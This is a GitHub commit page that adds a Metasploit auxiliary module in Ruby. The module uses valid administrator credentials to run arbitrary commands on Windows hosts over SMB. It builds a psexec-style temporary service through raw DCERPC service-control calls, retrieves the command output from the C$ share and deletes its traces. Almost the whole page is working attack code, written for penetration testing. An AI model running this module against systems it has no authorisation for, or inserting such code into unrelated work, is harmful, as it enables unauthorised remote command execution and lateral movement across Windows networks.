Skip to content

Commit fab3427

Browse files
author
jvazquez-r7
committed
Merge branch 'command' of https://github.com/R3dy/metasploit-framework into R3dy-command
2 parents ef97070 + e7c80b9 commit fab3427

File tree

1 file changed

+263
-0
lines changed

1 file changed

+263
-0
lines changed
Lines changed: 263 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,263 @@
1+
#!/usr/bin/env ruby
2+
3+
require 'msf/core'
4+
5+
class Metasploit3 < Msf::Auxiliary
6+
7+
# Exploit mixins should be called first
8+
include Msf::Exploit::Remote::SMB
9+
include Msf::Exploit::Remote::SMB::Authenticated
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Remote::DCERPC
13+
14+
# Aliases for common classes
15+
SIMPLE = Rex::Proto::SMB::SimpleClient
16+
XCEPT = Rex::Proto::SMB::Exceptions
17+
CONST = Rex::Proto::SMB::Constants
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Microsoft Windows Authenticated Command Execution',
22+
'Description' => %q{
23+
This module uses a valid administrator username and password to execute an
24+
arbitrary command on one or more hosts, using a similar technique than the "psexec"
25+
utility provided by SysInternals. Daisy chaining commands wiht '&' does not work
26+
and users shouldn't try it. This module is useful because it doesn't need to upload
27+
any binaries to the target machine.
28+
},
29+
30+
'Author' => [
31+
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>',
32+
],
33+
34+
'License' => MSF_LICENSE,
35+
'References' => [
36+
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
37+
[ 'OSVDB', '3106'],
38+
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
39+
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
40+
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
41+
],
42+
))
43+
44+
register_options([
45+
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
46+
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
47+
OptString.new('RPORT', [true, 'The Target port', 445]),
48+
], self.class)
49+
50+
deregister_options('RHOST')
51+
end
52+
53+
# This is the main controle method
54+
def run_host(ip)
55+
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
56+
bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
57+
smbshare = datastore['SMBSHARE']
58+
59+
#Try and authenticate with given credentials
60+
if connect
61+
begin
62+
smb_login
63+
rescue StandardError => autherror
64+
print_error("Unable to authenticate with given credentials: #{autherror}")
65+
return
66+
end
67+
if execute_command(ip, text, bat)
68+
o = get_output(smbshare, ip, text)
69+
end
70+
cleanup_after(smbshare, ip, text, bat)
71+
disconnect
72+
end
73+
end
74+
75+
# Executes specified Windows Command
76+
def execute_command(ip, text, bat)
77+
begin
78+
#Try and execute the provided command
79+
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
80+
print_status("Executing your command on host: #{ip}")
81+
psexec(execute)
82+
return true
83+
rescue StandardError => exec_command_cerror
84+
print_error("#{ip} - Unable to execute specified command: #{exec_command_error}")
85+
return false
86+
end
87+
end
88+
89+
# Retrive output from command
90+
def get_output(smbshare, ip, file)
91+
begin
92+
simple.connect("\\\\#{ip}\\#{smbshare}")
93+
outfile = simple.open(file, 'ro')
94+
output = outfile.read
95+
outfile.close
96+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
97+
if output.empty?
98+
print_status("Command finished with no output")
99+
return
100+
end
101+
print_good("Command completed successfuly! Output from: #{ip}\r\n#{output}")
102+
return output
103+
rescue StandardError => output_error
104+
print_error("#{ip} - Error getting command output. #{output_error.class}. #{output_error}.")
105+
return nil
106+
end
107+
end
108+
109+
# This is the cleanup method, removes .txt and .bat file/s created during execution-
110+
def cleanup_after(smbshare, ip, text, bat)
111+
begin
112+
# Try and do cleanup command
113+
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
114+
print_status("Executing cleanup on host: #{ip}")
115+
psexec(cleanup)
116+
if !check_cleanup(smbshare, ip, text)
117+
print_error("#{ip} - Unable to cleanup. Need to manually remove #{text} and #{bat} from the target.")
118+
else
119+
print_status("#{ip} - Cleanup was successful")
120+
end
121+
rescue StandardError => cleanuperror
122+
print_error("Unable to processes cleanup commands: #{cleanuperror}")
123+
return cleanuperror
124+
end
125+
end
126+
127+
def check_cleanup(smbshare, ip, text)
128+
simple.connect("\\\\#{ip}\\#{smbshare}")
129+
begin
130+
if checktext = simple.open(text, 'ro')
131+
check = false
132+
else
133+
check = true
134+
end
135+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
136+
return check
137+
rescue StandardError => check_error
138+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
139+
return true
140+
end
141+
end
142+
143+
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
144+
# Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
145+
def psexec(command)
146+
147+
simple.connect("IPC$")
148+
149+
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
150+
vprint_status("Binding to #{handle} ...")
151+
dcerpc_bind(handle)
152+
vprint_status("Bound to #{handle} ...")
153+
154+
vprint_status("Obtaining a service manager handle...")
155+
scm_handle = nil
156+
stubdata =
157+
NDR.uwstring("\\\\#{rhost}") +
158+
NDR.long(0) +
159+
NDR.long(0xF003F)
160+
begin
161+
response = dcerpc.call(0x0f, stubdata)
162+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
163+
scm_handle = dcerpc.last_response.stub_data[0,20]
164+
end
165+
rescue ::Exception => e
166+
print_error("Error: #{e}")
167+
return
168+
end
169+
170+
servicename = Rex::Text.rand_text_alpha(11)
171+
displayname = Rex::Text.rand_text_alpha(16)
172+
holdhandle = scm_handle
173+
svc_handle = nil
174+
svc_status = nil
175+
176+
stubdata =
177+
scm_handle +
178+
NDR.wstring(servicename) +
179+
NDR.uwstring(displayname) +
180+
181+
NDR.long(0x0F01FF) + # Access: MAX
182+
NDR.long(0x00000110) + # Type: Interactive, Own process
183+
NDR.long(0x00000003) + # Start: Demand
184+
NDR.long(0x00000000) + # Errors: Ignore
185+
NDR.wstring( command ) +
186+
NDR.long(0) + # LoadOrderGroup
187+
NDR.long(0) + # Dependencies
188+
NDR.long(0) + # Service Start
189+
NDR.long(0) + # Password
190+
NDR.long(0) + # Password
191+
NDR.long(0) + # Password
192+
NDR.long(0) # Password
193+
begin
194+
vprint_status("Creating the service...")
195+
response = dcerpc.call(0x0c, stubdata)
196+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
197+
svc_handle = dcerpc.last_response.stub_data[0,20]
198+
svc_status = dcerpc.last_response.stub_data[24,4]
199+
end
200+
rescue ::Exception => e
201+
print_error("Error: #{e}")
202+
return
203+
end
204+
205+
vprint_status("Closing service handle...")
206+
begin
207+
response = dcerpc.call(0x0, svc_handle)
208+
rescue ::Exception
209+
end
210+
211+
vprint_status("Opening service...")
212+
begin
213+
stubdata =
214+
scm_handle +
215+
NDR.wstring(servicename) +
216+
NDR.long(0xF01FF)
217+
218+
response = dcerpc.call(0x10, stubdata)
219+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
220+
svc_handle = dcerpc.last_response.stub_data[0,20]
221+
end
222+
rescue ::Exception => e
223+
print_error("Error: #{e}")
224+
return
225+
end
226+
227+
vprint_status("Starting the service...")
228+
stubdata =
229+
svc_handle +
230+
NDR.long(0) +
231+
NDR.long(0)
232+
begin
233+
response = dcerpc.call(0x13, stubdata)
234+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
235+
end
236+
rescue ::Exception => e
237+
print_error("Error: #{e}")
238+
return
239+
end
240+
241+
vprint_status("Removing the service...")
242+
stubdata =
243+
svc_handle
244+
begin
245+
response = dcerpc.call(0x02, stubdata)
246+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
247+
end
248+
rescue ::Exception => e
249+
print_error("Error: #{e}")
250+
end
251+
252+
vprint_status("Closing service handle...")
253+
begin
254+
response = dcerpc.call(0x0, svc_handle)
255+
rescue ::Exception => e
256+
print_error("Error: #{e}")
257+
end
258+
259+
select(nil, nil, nil, 1.0)
260+
simple.disconnect("IPC$")
261+
end
262+
263+
end

0 commit comments

Comments
 (0)